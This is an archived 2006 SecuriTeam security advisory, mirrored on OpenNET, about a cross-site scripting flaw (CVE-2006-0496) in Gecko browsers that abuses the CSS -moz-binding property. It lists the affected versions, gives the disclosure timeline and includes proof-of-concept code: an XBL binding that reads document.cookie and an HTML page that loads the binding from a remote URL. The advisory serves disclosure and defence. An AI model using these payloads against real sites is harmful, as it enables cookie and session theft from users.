The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NEWS] Gecko Based Browsers -moz-binding XSS


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 5 Feb 2006 14:06:21 +0200
Subject: [NEWS] Gecko Based Browsers -moz-binding XSS
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060205141839.9510457B6@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Gecko Based Browsers -moz-binding XSS
------------------------------------------------------------------------


SUMMARY

" <http://www.mozilla.org/projects/xbl/xbl.html>; XBL is a markup language 
for describing bindings that can be attached to elements in other 
documents." "The value of the  
<http://www.mozilla.org/projects/xbl/xbl.html#attach-css> -moz-binding 
property is a set of URLs that identify specific bindings. An individual 
URL in the set consists of the binding document's URL and the binding's 
document-unique identifier."

By crafting special XBL code, attackers can execute XSS using the 
-moz-binding option on Gecko based web browsers.

DETAILS

Vulnerable Systems:
 * Mozilla Firefox 1.5 and prior
 * Mozilla Firefox 1.0 and above
 * Netscape version 8.1 and prior
 * Mozilla Suite version 1.7.12 and prior
 * Mozilla Seamonkey 1.0

Gecko based browsers uses the CSS option -moz-binding in order to bind XBL 
code from additional locations including remote hosts.
Attackers can use the -moz-binding option in order to inject Javascript 
code and to perform a cross site scripting attack from remote location.

Proof of Concept:
Cookie reading:
< !--
 this must be served with Content-type: text/xml or similar
-- >

< bindings>
  < binding id="exploit">
    < implementation>
       < constructor>
          //
                function exploitMe( element ) {
                    element.innerHTML = "Attempting to read cookie 
data...";

                    var data;
                    try {
                        data = document.cookie || "No cookie data.";
                    } catch( e ) {
                        data = "Unable to read cookie."
                    }

                    element.innerHTML = data;
                    element.style.color = "green";
                }


                exploitMe( this );
                //
   < / constructor>
  < / implementation>
 < / binding>
< / bindings>

Remote loading of script file:
< ! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< html xmlns="http://www.w3.org/1999/xhtml">
    < head>
        < meta http-equiv="Content-Type" content="text/html; 
charset=utf-8" />
        < title>Cookie Exploit< /title>
    < / head>
    < body>
        < h1>Cookie Exploit using CSS< / h1>
        < p style="color: red; -moz-binding: 
url(https://bugzilla.mozilla.org/attachment.cgi?id=209238#exploit); 
behavior: url(https://bugzilla.mozilla.org/attachment.cgi?id=209240);">
            This is a paragraph with inline exploit CSS.
            The CSS executes JavaScript that can read cookies.
        < / p>
    < / body>
< / html>

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0496>; 
CVE-2006-0496

Disclosure Timeline:
1-Feb-2006 - Vulnerability researched and confirmed
2-Feb-2006 - Detailed research
2-Feb-2006 - Vendor contacted
2-Feb-2006 - Security companies and several CERT units contacted


ADDITIONAL INFORMATION

The information has been provided by  <mailto:juha-matti.laurio@netti.fi.> 
Juha-Matti Laurio.
The bug report can be found at:  
<https://bugzilla.mozilla.org/show_bug.cgi?id=324253> 
https://bugzilla.mozilla.org/show_bug.cgi?id=324253
A blog about the vulnerability can be found at:  
<http://community.livejournal.com/lj_dev/708069.html>; 
http://community.livejournal.com/lj_dev/708069.html




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру